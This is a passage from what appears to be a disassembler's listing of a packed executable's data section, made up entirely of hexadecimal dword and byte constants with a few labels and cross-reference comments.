		dd 6C248ECCh, 5A7EC7A1h, 8C1D3DD1h, 361F3059h, 9C4CF240h
		dd 912C6E2h, 573AB67Ch,	9164A2D4h, 0E73181F9h, 0B4B0342h
		dd 0AB88497Eh, 0AD6D488Fh, 298F5202h, 0F45F5765h, 94E3E2B1h
		dd 8686D8F4h, 0C1FDF182h, 40CDC604h, 7BF7E3CCh,	13DF6ECCh
		dd 0CA495A6Fh, 0C6393206h, 0EE468AF2h, 0F4FEBF25h, 73D80D84h
		dd 1CC5F1B1h, 413D241Bh, 2EE93DAFh, 911110E3h, 3720589Ah
		dd 7B1AC408h, 9C7222CDh, 4397E345h, 0FD3B8346h,	72BD7F74h
		dd 0EC13A088h, 4B1CA91Eh, 301FAC10h, 4883ED5Fh,	4F35F573h
		dd 343E2927h, 13DBFDC7h, 0DF423AFFh, 4BFDE01Dh,	0A69CA427h
		dd 1CE8C600h, 88D08917h, 8B263FB7h, 0F3011EA8h,	0D989CFAAh
		dd 907C6008h, 0B6D0CDF1h, 5798B8B7h, 0ECCDC77h,	37F6719Eh
		dd 0BC12B950h, 0C3F8BD5h, 0E3E2E70Bh, 994D9E19h, 56B2C576h
		dd 9E97F307h, 950F19DBh, 0F5602661h, 0A03998F1h, 0F84AF4F8h
		dd 69EC157h, 2FB29686h,	9D2343CDh, 0DA54FBBFh, 388E8ADBh
		dd 5D6D68C8h, 0F3B0B9EBh, 4B575BF1h, 2764A585h,	7E8382F5h
		dd 0BFA48338h, 0A9E1C91Ah, 0A99A0BEEh, 7A5E5DBh, 0D12536A9h
		dd 4C068B5Fh, 1723AADDh, 7B508663h, 0E4E84461h,	0E0A2C4FCh
		dd 0AB3467D0h, 4DD694A6h, 2BDE59EDh, 18C60D78h,	575D4F9Eh
		dd 21A8D33Ch, 5D57210Dh, 8C76C938h, 36822BFCh, 7DEE0A31h
		dd 8DB8B65Fh, 0DBA9216h, 1D430D91h, 0EFBB80A1h,	7DB66F2Dh
		dd 7359CF8Ch, 0D1961651h, 1B4E86A5h, 12E9330Bh,	9A9E8B19h
		dd 6B298403h, 0EF53F06h, 61EB906h, 5022083Ch, 0FA02B734h
		dd 4170F774h, 1F091F05h, 0ADBA6BF0h, 0CCC78930h, 2E485F7Dh
		dd 6A9202DBh, 44B3703Dh, 2F7C92A4h, 855713C8h, 22419102h
		dd 0DB8F7A54h, 0C1290ADFh, 0C4579DB7h, 0EC5264D8h, 2814951Fh
		dd 3B0E5A33h, 73E3FF91h, 0A6EDF898h, 0E1C8F045h, 21864A08h
		dd 51016E31h, 0ADA645B3h, 0A1B0DB95h, 5552F758h, 18A98FB7h
		dd 315C92D8h, 0B4C590FFh, 687AED98h, 11287C12h,	0B9AFF693h
		dd 0F8DFFAFCh, 0E254E8E7h, 59527F90h, 8B57DB4Fh, 0AF51868Ch
		dd 6C6C649h, 9FD4816Bh,	0A701F096h, 42616971h, 6FD1C062h
		dd 65160DC4h, 64F9C335h, 936DA02Ch, 456A750Eh, 0F4305CFh
		dd 0C54E2D25h, 0F1ED042Fh, 2F656159h, 0D07968A5h, 0A094BCCFh
		dd 6B2FFD93h, 1023F3DDh, 5728F2F5h, 0A43321AEh,	4AE136Ch
		dd 68C12813h, 19328070h, 9778314Bh, 6CBE0919h, 722F5378h
		dd 0F131A7DBh, 0EAE49070h, 0BAC8DF61h, 0B2F6BB30h, 82B56982h
		dd 0B98BE6D7h, 4697BEBEh, 34EDA79Dh, 0F5BDC88Fh, 0C23CD589h
		dd 7D830367h, 0E457E00Eh, 0DA485660h, 0E37CB5F7h, 83F9D511h
		dd 0CEAF1130h, 3B3ADF9Ah, 1F7F0B1Ch, 3DC366F3h,	0B1FEECDDh
		dd 0F00D0747h, 353B03A0h, 75014336h, 0B747813Fh, 542F6F5Ch
		dd 90678825h, 3331045Fh, 6E3095A6h, 0DD4FAC21h,	3B7199C3h
		dd 0B79D4E59h, 3C4F644Ch, 443BA9C0h, 917707A0h,	832E8CE4h
		dd 4347EA6Fh, 4617F874h, 27C23C2h, 5B20E2D9h, 70476067h
		dd 0E0781891h, 210A673Ah, 0AC2CB62Fh, 0D41A0906h, 0B3B6850Eh
		dd 485E0964h, 0AAECD51Ah, 0A44F80C0h, 1DF494D2h, 315F4C5Eh
		dd 0F3338C3Eh, 0A552B7DFh, 4847BF1h, 0B7840807h, 0E3F819B7h
		dd 0AC3FAF1h, 4A02BDD7h, 0B1E33556h, 46136A84h,	41316A1h
		dd 595310B6h, 0FBBCCE41h, 54101C79h, 0A6B31BCAh, 61853615h
		dd 0A574EB05h, 33A4362h, 8E085EC7h, 0B0807B17h,	79812E69h
		dd 0F5CBA93Eh, 0B44C737h, 0BE3FB114h, 0CD3B3367h, 8BC98473h
		dd 0BAAF301Eh, 0C783ABB0h, 0C39E3DE1h, 4A45F32Ah, 79A2AB56h
		dd 61E1BDE2h, 2F45CD74h, 8605F2CCh, 69662ED7h, 4F7DC3Ch
		dd 0F4C9D0B1h, 0E60DD61h, 0DCA4E7Ah, 769B2DBCh,	0B47A2863h
		dd 0E57F2CB9h, 0F5270E10h, 281D903Eh, 6585CB67h, 79B9B691h
		dd 6F099D97h, 2AA5833Fh, 9234A5Fh, 7708A6Dh, 377111DCh
		dd 0CF0DE851h, 8BD4A2C6h, 51196B74h, 0D0F76C83h, 12110D06h
		dd 8BBC34F1h, 0C4F75CE2h, 16C89562h, 0DA5C0D9Ch, 0FBAA26A8h
		dd 8E0C15FEh, 4567E891h, 81A04934h, 6D896A0Eh, 0DA495E94h
		dd 71032AD6h, 0F1589258h, 0E9A85098h, 44B9D971h, 0DE18978Ah
		dd 67D9E89Eh, 14CA34CDh, 0D84838CAh, 8AC81384h,	0B995D47h
		dd 0E8D3115Bh, 36BB4630h, 894FBA85h, 189A2BCDh,	5125107Fh
		dd 55792736h, 99595CBDh, 0E510FA59h, 49D73CA7h,	2EEF79B3h
		dd 6C93F1B9h, 7A555162h, 5F36C6C3h, 0BCFB2AEFh,	0D08DCAD3h
		dd 21955605h, 0EEE84332h, 9555EB10h, 3E3DB8Eh, 56B5226h
		dd 0BCA2B860h, 29BE3CE5h, 57CF8F90h, 0DE2531E0h, 0DF28B11Fh
		dd 180C949h, 0A4249E42h, 30956025h, 2597EFAEh, 71DF5207h
		dd 0BE9DB27Ah, 0F1124ACDh, 3770BF2Dh, 0A04E4F54h, 43879457h
		dd 0A0853E1Fh, 0ABC06166h, 2DC457CFh, 62C96C08h, 0A43367E2h
		dd 19338598h, 78DC057Bh, 0DB5BDB1h, 0B7C354EAh,	30BA05F7h
		dd 0A31CC121h, 4063B60Fh, 85ACCE09h, 0D19E0D43h, 170E05EEh
		dd 0A039411Dh, 48CA08C4h, 2186F55Ch, 5759148Bh,	0F8A809BCh
		dd 0F30558D8h, 1B5137EEh, 8F54CDCAh, 0F06E36DCh, 0FF2454Eh
		dd 0A4A74FBAh, 1A1ED860h, 0C5093A94h, 853E75BBh, 6F1505E4h
		dd 37C9D166h, 0DDF85F01h, 35D41EC8h, 80741F68h,	0C39D0746h
		dd 0D2EB0605h, 0D3FC3AC7h, 72AA96F1h, 9127EBE6h, 3F2919B8h
		dd 52361288h, 0E13A53AAh, 85FCC9E3h, 0FA119376h, 3BB73CC9h
		dd 0B96F2128h, 42EC8732h, 0D3FB6310h, 691CEC92h, 6729082Ah
		dd 4B13D4A6h, 89FB6D99h, 63244660h, 2BD458F9h, 0A5691979h
		dd 9DA6E261h, 0AB6F8D8Ch, 0FAF75E8Fh, 795465C5h, 0CDF258DAh
		dd 0FE5AFA75h, 0FDD0ABD8h, 35DB3BA7h, 0C888B72Dh, 1BC2799Bh
		dd 0E3FE63C7h, 32FDB642h, 4D04CFE5h, 0A6DF875h,	6343E8A7h
		dd 115BBE8Fh, 2A94618Dh, 0C2443E32h, 9527302Eh,	0CD7FB23Ah
		dd 36270CB6h, 39762D7h,	0F91D98FAh, 1F46163Eh, 1FD53363h
		dd 649266EDh, 9A4BDA0Bh, 2B48A417h, 0CA21D7h, 2985A19Bh
		dd 0A1BB7123h, 0EFFD4B9Dh, 9C734A6Ch, 31CC23D8h, 0A6BF0525h
		dd 0CFFA65F6h, 0EF234B58h, 60321484h, 0AC6BADF5h, 2561456Fh
		dd 139BA018h, 4E4AE23Ch, 5FD1C6Bh, 63266018h, 888F650Ah
		dd 0C4685DE2h, 31A8F24Dh, 1C304F35h, 0AFD0D1A9h, 80B8E5D0h
		dd 7BEF77Ch, 0B0919F0Ah, 6152D91Ah, 55524B59h, 0C016B052h
		dd 0D5E3DDAh, 0F65E5A6Bh, 4E10D7Bh, 9DA74FB1h, 0D54554F5h
		dd 6CFFA446h, 0F665DC2Bh, 0F25E6CC8h, 9117A79Ah, 0D9E793EEh
		dd 0ACA6FF77h, 0D521A2BDh, 0E251D50h, 0E705E15Ah, 657AA854h
		dd 0F45ABFD4h, 0EF8B2980h, 807A3BA0h, 3E386367h, 46A4F7BAh
		dd 6A47B969h, 9DF484E9h, 0DE61C733h, 13BFF7FAh,	0A4B7319Eh
		dd 0FE8F74BFh, 0ACCEDDF9h, 6F329913h, 0EDECB7C0h, 66558A8Eh
		dd 49A9283Eh, 472DAA66h, 35051408h, 2AB4AEA4h, 0E66A2831h
		dd 0CC2199BEh, 0F028541h
		dd 0E97D26DFh, 19D1FC8Dh, 14935D98h, 630473B7h,	9B642395h
		dd 73E313B8h, 4EA1ACDDh, 593EB5A1h, 385BC040h, 0ACC86275h
		dd 9CF6BF1Fh, 984AAB6Fh, 437AE239h, 0F21F494Fh,	0A6606848h
		dd 0CF2FFE28h, 0A85F1AEEh, 0CA750D14h, 8BCE7628h, 0B59EF602h
		dd 0A15F401Dh, 50D38AF8h, 32EA16F2h, 0E985CBFBh, 56ACF398h
		dd 4C40DA59h, 753EB07Ah, 0D0EB8EC9h, 0D3FAB987h, 3842B6DFh
		dd 0BAEEDC0Bh, 742442B9h, 5B5DE1A4h, 7EF57B37h,	54C2E7Fh
		dd 41563770h, 0EE3B217Ah, 356A6A7Fh, 7E462DF5h,	75A769C1h
		dd 0A83994F1h, 0D3514853h, 2236321Fh, 0CC587E23h, 0DDE63C24h
		dd 0E2FC8193h, 0A0ADAC09h, 0F78ECCE1h, 6AA8D739h, 648F2C8Ch
		dd 0C2D94865h, 82765402h, 0BD625F9Fh, 4D62F970h, 5FF5F4Ah
		dd 0F4AD8D77h, 925CC713h, 0CA091824h, 9E65C2D3h, 0E258A754h
		dd 0DF2BC7B8h, 3A462465h, 0AE56AD30h, 1639C0A7h, 6F652EEAh
		dd 1A1B59B9h, 815B9D94h, 477B0D27h, 0E9308FCEh,	90FE5E39h
		dd 0DB0F92F5h, 749BC7Dh, 0C9A564FDh, 0A9373F6Ah, 0C2EDD52Ch
		dd 0A9E31635h, 8C2C37D5h, 0C75754Bh, 3D3A089Ah,	0CB2B8960h
		dd 0CA994869h, 0EC5F0D1Eh, 1E9B942Ah, 31F0BB26h, 1DDE3A53h
		dd 52EE29EBh, 0E4130B11h, 7D901E44h, 45735415h,	4350E6A9h
		dd 45F83A72h, 466ACFE8h, 0CDE2FBD9h, 67DDF211h,	0B69AF6BEh
		dd 97B0B83Fh, 5A5E5A0Eh, 7BFC2745h, 171D802Eh, 0D62576E3h
		dd 0F2DA091Eh, 2E4BD43Fh, 1806824Bh, 34F586DFh,	0D652A4CCh
		dd 16E9D060h, 801B776Dh, 0ED18D9DBh, 0B1821E7Fh, 0FA102512h
		dd 0E6B54A95h, 4EEE14DFh, 0AD7CAB05h, 0CF6ABB63h, 0FC57895Bh
		dd 0F8EF4BDDh, 15475954h, 97D31283h, 6C19635Ch,	0E691E2B0h
		dd 0D10D576Fh, 65867338h, 54BCAA65h, 0B58D5A23h, 7A91BF2Eh
		dd 0D039331Bh, 2AB9F340h, 0C2F6C90Dh, 9DE0E1BCh, 0B482D0F4h
		dd 0D372421h, 72D7740h,	48BF4B16h, 96941D38h, 979D9EE6h
		dd 0E232617Ah, 0EC330FABh, 60E5B09Ah, 2AFEEB0Fh, 2B8ECC99h
		dd 0CA8C2C8Fh, 0D07B5FDBh, 0BDBCB9BBh, 88E59CDAh, 5AD9A87Bh
		dd 5822A9ACh, 0E7B659C6h, 680FAC31h, 8115591Fh,	660631F8h
		dd 4F38A428h, 0C5823636h, 0AD8D539Ah, 0E5CABD19h, 0DE6278Ah
		dd 0EAA2A17h, 0AF660671h, 5C6E2857h, 862E1E8Eh,	0CB649196h
		dd 48387AAAh, 812923D6h, 72694B03h, 78591B6Dh, 2618424Bh
		dd 0F8194F04h, 0A7DB7BC7h, 3DEE8359h, 5857FED2h, 0DB93AA22h
		dd 388966B9h, 0C66BEE35h, 18CAEFEh, 0DDAB0A1Eh,	0F25F66A9h
		dd 62E7071Ch, 0EADC7FA5h, 0A51CAC8h, 0E1DBE8E9h, 0B72571AAh
		dd 134592B7h, 781B5BD9h, 3DAE1772h, 2A3D7082h, 0D9BB8450h
		dd 3DE6D321h, 27201098h, 0D26F86Fh, 80354BAh, 6C3A6FE3h
		dd 0B7488729h, 0FB8665ABh, 0C1E3B80Fh, 99AA1F8Ah, 1D62388h
		dd 7AC2FE5Dh, 188E55FCh, 7809AB3Eh, 0F54552Ch, 65E7D6CAh
		dd 407414A3h, 5A264F52h, 0FCAA5639h, 0D187F6FDh, 4DCAC838h
		dd 196C38D9h, 648C2B03h, 0DD4D2183h, 7F2F12E3h,	9FA31316h
		dd 868795EAh, 564201D8h, 8C6F0441h, 8809CE49h, 47E24F7Ch
		dd 41C57EFh, 51A587C4h,	47622BF3h, 4C2E3D90h, 35CA405Eh
		dd 0BCD9A5EBh, 8787D054h, 0A75E5653h, 0F0F11F04h, 6E386BD4h
		dd 411A3294h, 540493A1h, 0FB36E7C4h, 0B36D868Ch, 7C57A73Fh
		dd 82ACB04Bh, 0A714304Dh, 82E823E3h, 9D3FFA5Ch,	2FF53358h
		dd 95834DBFh, 4ABE5DB2h, 0DE32878Ah, 9AA32D02h,	26E03A63h
		dd 383A919Eh, 7FFDB1Ah,	9BACE680h, 42ADA704h, 8A7F56A3h
		dd 9D8ADA92h, 6E2887FCh, 0A9D1D4E6h, 9B5B87AFh,	0B67CE50Ah
		dd 986C420Ch, 9CE83957h, 336CD7C0h, 0FD54A0EAh,	0BE9A55BBh
		dd 0FA00D91Bh, 7362D02Bh, 0FBF421DFh, 27EDC3F8h, 1021EB30h
		dd 2EC8633Bh, 280044FEh, 58A26867h, 2E497FE7h, 4CDCB319h
		dd 6EA5A72Fh, 0D7B7C007h, 77C0FEF8h, 5D5AF706h,	33BA75BEh
		dd 2B6FCCF6h, 9E0401F9h, 6397D5FBh, 5E14C253h, 0AB42B019h
		dd 62E63EA9h, 0ABFDC64Bh, 17860660h, 6925FC6Eh,	9B37BB3Ah
		dd 0D79389A8h, 1CCA35C8h, 30A116Dh, 2EBC105Ah, 0FDA06825h
		dd 52FAE5FBh, 5AA5A907h, 94622316h, 942E0281h, 6041B483h
		dd 0C3767768h, 1AFEB7F9h, 4B1E4011h, 7A724E27h,	0E28EBF82h
		dd 2316E774h, 213EF785h, 0C78182Ah, 0CD6F8CD8h,	7549C782h
		dd 3047C227h, 0D70416EAh, 0A77F6C09h, 0B4F15082h, 689230FEh
		dd 0F4149E4Eh, 9EDA7730h, 0E6F7EEA9h, 311B8DF0h, 0F8FD31C7h
		dd 0E846B176h, 4F9A8A23h, 32B82D0h, 736E6DF5h, 143DED77h
		dd 0CA473C41h, 0BB0E1E0Bh, 0D87167A9h, 0C7F7E283h, 47D7C6F5h
		dd 63314B12h, 0B493FE35h, 3FBF9052h, 0EEAB81EDh, 0FB470041h
		dd 0BB76BF7Bh, 0D62D11EDh, 0FD86043Eh, 112EE445h, 0E04E0CCCh
		dd 905A8E14h, 0E18F3B6Fh, 4B231540h, 0E395CDAAh, 40472114h
		dd 20BF0C6Dh, 631F7212h, 22AB40CDh, 2E9C5140h, 585AE55Ch
		dd 21655543h, 60BFA0A3h, 0CC1E1A17h, 464F4D9Fh,	6CD161E5h
		dd 221E87F3h, 5C2CFE85h, 0F2B5AECFh, 0CE640FEBh, 0D1DAD95h
		dd 511B8F6Fh, 0A91CF07Fh, 740068D5h, 0D38EA0A3h, 0DDE6D94Fh
		dd 0FA285743h, 5FC0B51Dh, 7D46F909h, 0FF816453h, 7FA5C53Dh
		dd 0A7FC01E4h, 150251A5h, 692C444Bh, 0D6653872h, 0D8AD0B16h
		dd 0A9108A3Ch, 7E84BFAEh, 0D5C9D0FEh, 79387636h, 2B90966Ah
		dd 0FA987442h, 2EEC0534h, 73EF7EF2h, 0EF920A05h, 0EA2EEDFAh
		dd 9749F3C5h, 0FC51475Fh, 192293F3h, 9B17E079h,	3462843Fh
		dd 501B282Dh, 8F760F0Bh, 6BB3335Ah, 58AF8CB1h, 0A7A5FA62h
		dd 642AE618h, 0DD610133h, 24571392h, 0EA4B0D81h, 9FA593D6h
		dd 7D41343Ch, 293AF773h, 74FFF9E9h, 37DF4BEEh, 1B1CA5Fh
		dd 0F2892597h, 8827862h, 9F2AE80Dh, 0EBD853D2h,	5404EA7h
		dd 0FC6DDC63h, 0EBF30EFBh, 0A8FC9813h, 0FC416318h, 32517ACBh
		dd 51BC561Eh, 65CC6CC2h, 471D99B2h, 0B5444E8Ch,	0A316622h
		dd 0CD6BA598h, 3A05508Ch, 7E36D377h, 4F2E5C3Bh,	0C7D45C96h
		dd 3ABC5BC9h, 2C97B97Dh, 0FA509B84h, 13F5C3E7h,	43A2FFEh
		dd 247261E0h, 0F44AC32Bh, 0C5F9BC81h, 7A9C8B76h, 76FC2DE4h
		dd 870FE06Bh, 0A52E67DAh, 2EA8CC3Eh, 9F08F0D3h,	426F3BAAh
		dd 80024332h, 790DA5F1h, 0E80EADBBh, 4EA0C9CDh,	0F5907D8Ch
		dd 0A446CD1Bh, 0C5F4B71Eh, 43048284h, 0F2AB9878h, 0A92BE50Fh
		dd 987C1F56h, 0CF95FF83h, 1137AF52h, 0AE0897B9h, 15B98895h
		dd 23BBFC5Fh, 6F47A61Ch, 7C4A5A06h, 0A04D1A90h,	1B3C9FFFh
		dd 8E737E57h, 0B908471Dh, 4CC99F27h, 2D61398Dh,	0D0BC269h
		dd 0AFE9F63h, 0E6239CADh, 5637D92Eh, 1FDD443Ch,	899E128Eh
		dd 2BD5B32h, 1545214Ch,	5C94AFE1h, 365401C7h, 0D3EA41C7h
		dd 0CB30836Ch, 0DB0C9DD1h, 0BCC2F1ADh, 0F276C78Eh, 7A3B66F6h
		dd 19E9B998h, 345DFE72h, 0F50F815Fh, 7B038470h,	0B7D69B6Ah
		dd 2E3D97F0h, 446E178Ch, 0FC98A32Fh, 51354DBCh,	0F42A41E0h
		dd 0C8A8D38Ch, 1801238Fh, 81FD0F0Eh, 0E25384ACh, 0FF105DACh
		dd 64F98B70h, 5477C0DDh, 0EB19B680h, 0E823AD72h, 0EAB05A05h
		dd 8F6D6ED3h, 0E051ED30h, 0C9573DB1h, 0E5E3CF89h, 0B6C3EDDDh
		dd 566ADAA1h, 3EFCF6EFh, 8E1D42F8h, 25B88F32h, 9ED56787h
		dd 6C4E9A09h, 8DA82D99h, 20C35573h, 6B3F319h, 0B0A691D6h
		dd 42177B47h, 0B79D1E92h, 23AA1283h, 0DB76D313h, 80E642FCh
		dd 84293F8Ah, 0F3069068h
		dd 6788A18Ah, 0ABF14BD4h, 26A9D00Fh, 6F514664h,	36E53031h
		dd 5605D567h, 6B299C0Fh, 3328C488h, 9C535F1h, 62F909D7h
		dd 76A97869h, 9DF1C91Dh, 86D55DD7h, 0FB14870Bh,	0E2858D87h
		dd 77DA8273h, 0D1ABC19h, 33F65ACh, 41B11CDDh, 67F2E17Fh
		dd 6E9000DDh, 79AF7582h, 0F10A5B90h, 25E12DE8h,	44278876h
		dd 0D6453D2Ch, 0AA87BFAEh, 0FEDDCC1h, 0C493C8F0h, 0C662F5D7h
		dd 109040A6h, 5A0EFDBFh, 0BBBA3EC4h, 0C8BEC7ADh, 6931AD9Bh
		dd 904DD3D9h, 0B9F723F6h, 0D1AA9F8Ch, 54FC4B75h, 0F71BE4AFh
		dd 0EC581F9Bh, 0F1C6E7D1h, 3E66012Bh, 2552CB69h, 0C3BC4218h
		dd 2B5A0904h, 6EDE4963h, 8E9678E7h, 1BEF88E6h, 7EB7292Ch
		dd 0FD5D69D5h, 216A557Eh, 5244D465h, 0E2CA89EFh, 0BE6CA1ABh
		dd 0E8D29178h, 9472D25Ah, 0BD4827D9h, 0EF9B1462h, 0B21B958Fh
		dd 0C3934ECDh, 0A82143F1h, 16D02409h, 9C7B2857h, 555AF2FFh
		dd 0AC622140h, 2B980AFFh, 18F3001Fh, 0C3236BE4h, 0B70126FDh
		dd 300032B1h, 9E4CB40Eh, 0B9C99385h, 0C8735D0h,	61ABF026h
		dd 0E8FB59Bh, 201C37E5h, 0EFBF3CD0h, 3C4465DDh,	695F4B04h
		dd 5B59B09Ah, 895D92B6h, 5B795h, 26A16951h, 0E1068569h
		dd 0E54F82FCh, 0D4E2912Ch, 0E6553A82h, 6AA34B47h, 0DFA57B55h
		dd 0B519C180h, 0D799B1BEh, 0B15D2F85h, 0FC9B4C12h, 0EF510998h
		dd 0B45AD29Dh, 1E28A874h, 0E33503C1h, 82F03E4h,	211D4568h
		dd 2BA425DEh, 0F4E3BBB1h, 0AD66A054h, 9A788867h, 709407EFh
		dd 514F160Bh, 87938DC8h, 0B9EB0105h, 1E1AA9EBh,	0BE9958A2h
		dd 1D13D61Bh, 5EF286C6h, 54F32286h, 4982D59h, 0D199C789h
		dd 5B8A3179h, 0EA560E70h, 94D3C7CBh, 0F0A6EE4Ch, 0C5932127h
		dd 0C51CF653h, 9DD7510h, 0F2FF113h, 80ACEC83h, 6EEED018h
		dd 4FAEE323h, 668571A8h, 89CD73D9h, 0B57A9778h,	0CB9262FEh
		dd 2494EBBAh, 0CE798383h, 2623F8B9h, 386FF85Dh,	40355BE5h
		dd 45401D93h, 338CD425h, 92E8920Bh, 4A458F57h, 0EDAA708Eh
		dd 7222DCD6h, 23FED36Fh, 0EF72E30h, 1097FEB4h, 0F0B00000h
		dd 50125613h, 2892D6Eh,	0BA027F22h, 0EF82C7B0h,	2311FABDh
		dd 0BF0611B0h, 11EF1E25h, 8869BBC9h, 950BA100h,	78F1871Ah
		dd 0C1D0CEDAh, 0F320A30Ah, 0DEFD32E3h, 0D987FA1Ch, 0F41BAF1Fh
		dd 687305DBh, 0F57D1D90h, 37900E54h, 0BC692E19h, 0F92EB3Fh
		dd 8A93DF9h, 171C0D54h,	4C63A125h, 0BCBCEB7Ah, 0A8E88FFFh
		dd 0A1D6AABh, 0B346BD39h, 0DD303588h, 0D2E1E0B1h, 0CD7DDEEEh
		dd 0AD72D7A3h, 3DBDEB90h, 29353F1Eh, 0AE5434A9h, 13B1B32Ch
		dd 398D6EAEh, 0A08C2A70h, 0C04DBB18h, 0A6677D87h, 3B8CFEA4h
		dd 0AAE8221Ch, 0B4D02456h, 0F69EF231h, 98E7C8A7h, 36F3D19Ah
		dd 5530E701h, 5CAFB33Eh, 0E7843CFAh, 4B083D67h,	4B2F916h
		dd 839E8B18h, 0F38FAE4Eh, 25CBCC13h, 60FA4EECh,	347349F2h
		dd 30F56502h, 0BCA32C89h, 1F42530Bh, 109ECE78h,	0B098CBF4h
		dd 60C66664h, 1E63B40Bh, 98412A7Dh, 429EDAAAh, 0C6239859h
		dd 0D5534293h, 184AFB17h, 751A019Ah, 61E123B5h,	412CCB49h
		dd 0EF7FB6DFh, 7BA7B812h, 0F72373B6h, 37F22E7Ah, 0C22A579Eh
		dd 8CE3436Ch, 0A9B60DF6h, 4090C29Eh, 8168C8FAh,	19027BCAh
		dd 633EBCE1h, 0C649CD76h, 83537017h, 631F58A5h,	24633E23h
		dd 9CDA08B9h, 0E5AA6C2Ch, 1F5B5BC4h, 0F9945FE0h, 0EB09BFBBh
		dd 0D32AB76Ah, 6D859B36h, 5C7255FCh, 0CEC78A18h, 0B5EC8BF8h
		dd 8E4E3CFh, 1A8A35A9h,	75CAD39Fh, 0D228120Ah, 5DD069DFh
		dd 0F855E74Bh, 0D28FD67Bh, 0B7985BF6h, 4710EA8Fh, 5C1FEA99h
		dd 1FAF07E9h, 0D04A1FC0h, 32BF6D61h, 0CE32C47Ah, 42A2183Fh
		db 41h
byte_520045	db 65h,	72h, 64h	; DATA XREF: .nsp0:0043FD10o
					; .nsp0:0043FD28o
		dd 5A57C934h
		db 91h,	0CDh, 0DFh
byte_52004F	db 0C2h			; DATA XREF: .nsp0:00439349o
					; .nsp0:00439B59o
		dd 0BBEB11DBh, 79BF5E8Ah, 0A37F7B46h, 0F9854863h, 77B4BF5Ch
		dd 0C569AC88h, 45397A96h, 0DDCAB3DCh, 81B55869h, 9F9C43FEh
		dd 4611A9B1h, 536BFF90h, 3BB552ECh, 0F2DFC493h,	0A47D757Ch
		dd 87F0B8ACh, 9EEB30F9h, 4EC1023Bh, 33F0AD07h, 293C7241h
		dd 31DBE71Bh, 7A33FD14h, 73F46FD4h, 9EDFBDA7h, 0AEE79A99h
		dd 305111FAh, 303B2216h, 8BFDAE24h, 0F6C584CFh,	6D70129Eh
		dd 0CC65DE25h, 53278144h, 0E03A87AAh, 0C1AFC7BBh, 0ABC29496h
		dd 0AEFCC834h, 3871D13Eh, 5BFD198Dh, 0BFD296E6h, 66771E7Fh
		dd 31EECD55h, 60FF185Ah, 99C38964h, 99BD1D95h, 0B77BF20Bh
		dd 1729564Bh, 4E25CC6Ch, 2B8A3C41h, 2B22CABCh, 5EB7F8F4h
		dd 0A03C496Dh, 53C122EEh, 349FD33Ch, 20602785h,	0A76C2284h
		dd 7A457819h, 422A682Eh, 0B0FAA019h, 607D222Ah,	6468562Ch
		dd 9DF8DFBFh, 0A08BC849h, 0F2630961h, 8139F4Ch,	0FD271D8h
		dd 0C46A18A8h, 7FD1A5D6h, 600D6DFAh, 0DEFE0043h, 672058EBh
		dd 25439736h, 8849F152h, 2CA2183Dh, 9A3BDAFh, 39B87CBh
		dd 4B261DE9h, 9EB1C9B7h, 7FF529FAh, 2E1FA68Ah, 5926B7BBh
		dd 0FEF72A20h, 0EC22C572h, 0D3B7ED8Fh, 8A218A77h, 943A40A7h
		dd 0BE261F01h, 0D85C9198h, 60659E78h, 0F43C7317h, 1A39359Ch
		dd 701249F9h, 67BF90BEh, 6AD96068h, 0DC2788EBh,	4B96DF6Ah
		dd 38E426Ah, 5D1F33DAh,	782E54F2h, 0BF5A5B3Bh, 0BAE6DBE7h
		dd 5FF3FDEDh, 0FCD8C159h, 1BE35429h, 4DFE8EBAh,	0E96B4321h
		dd 0FFB4BDF4h, 79C30CBBh, 0E67CD0A7h, 2886BDE4h, 3053D02Bh
		dd 1FCACF88h, 948CB179h, 95CFB7B3h, 73E01180h, 5154E606h
		dd 0E82F89Bh, 604D3CCAh, 1937471Eh, 0F1700BA1h,	6F9CBAAEh
		dd 0F1ED0DF2h, 25CC211Dh, 85E94F76h, 0F3E823E4h, 0D7BD9A32h
		dd 1FCB6F18h, 17FC676Bh, 0CD58EF9Fh, 382B019h, 0D68F1A46h
		dd 0DFB5A9D2h, 0CA9E5EA5h, 9F500357h, 1CFD9432h, 8FBCAA0Dh
		dd 0F6F2616Eh, 2BDCD6CEh, 9C5DD97h, 4F3AE427h, 0E056E1D0h
		dd 0C832A605h, 0EF06B128h, 96CD29F0h, 0E9DA343Ah, 0A50AA9E2h
		dd 3CBC8D3Fh, 8CCE6DD5h, 0C1751EFCh, 0D0977527h, 93E426F6h
		dd 6FBBC10Eh, 75C31049h, 39368DC0h, 96F1ADAEh, 2AA1CE0Dh
		dd 0B8B0235Bh, 0FD603A71h, 0FBDA1B78h, 0E54965EEh, 5BC76843h
		dd 633BBBBh, 0AC7697D7h, 0E6614702h, 0E5B20E67h, 78FC9BA4h
		dd 4AB21087h, 0FB356B08h, 1EFB48Ah, 0ECC9EB68h,	71B0EECAh
		dd 0A58C4D55h, 0CCA72A6Dh, 4A5F97C7h, 865D884Fh, 2BE1F2C3h
		dd 5C45ADDBh, 3D872C4Eh, 23FF67EEh, 78724406h, 941C2E9Fh
		dd 6EF5365Ch, 0C8EFC104h, 0A598B36Ch, 0CD56F14Bh, 0D1B45611h
		dd 18A958E9h, 7A0363DCh, 0B9BA34A5h, 995C6600h,	24AE9936h
		dd 0F587738Ch, 68796889h, 0DFD51F58h, 255AC312h, 3EB5F1A8h
		dd 0A98FA677h, 37A5B42Bh, 0C9DB2473h, 0DCD1DBADh, 0A635FE2Eh
		dd 84985528h, 0F1C7F2BDh, 0CB0A2A8Fh, 3119EE7Bh, 0E828F4E9h
		dd 3A940E5Ch, 0A9EE6B52h, 94DA239Bh, 0E12319DAh, 0AE988303h
		dd 5F337FF2h, 0EB1ED5DEh, 0E30638A8h, 1FC59CD7h, 0ED6B689Bh
		dd 2A12DB77h, 341ED2C5h, 0A9C671D9h, 17F6AD1Fh,	91E85F4Ch
		dd 5AECFE96h, 0C1A9486Ah, 6473335Ch, 77A8870Fh,	0B79EDA7Ah
		dd 7DAEF2A6h, 0DE3DDF0Fh, 5BCE9A65h, 3426EF62h,	8E7FA580h
		dd 2AFE9AE5h, 9A86D353h, 0CEDD319Dh, 0F4BEB55h,	0DC1038BAh
		dd 38E51167h, 709E113Ch, 235A63EEh, 0A8AE9AEh, 0A59C600Dh
		dd 0E77C6EBh, 68E7E19Eh, 9A017E93h, 0E2EBD00Fh,	759B6F27h
		dd 54137842h, 0B5A3E5F9h, 961013F4h, 669D3936h,	10392E10h
		dd 73A8BE36h, 236A38Ah,	0FD698551h, 1296A77Fh, 9BD2A94Bh
		dd 5B995ADEh, 0D1AA4CCFh, 5736BB00h, 31939776h,	8635E121h
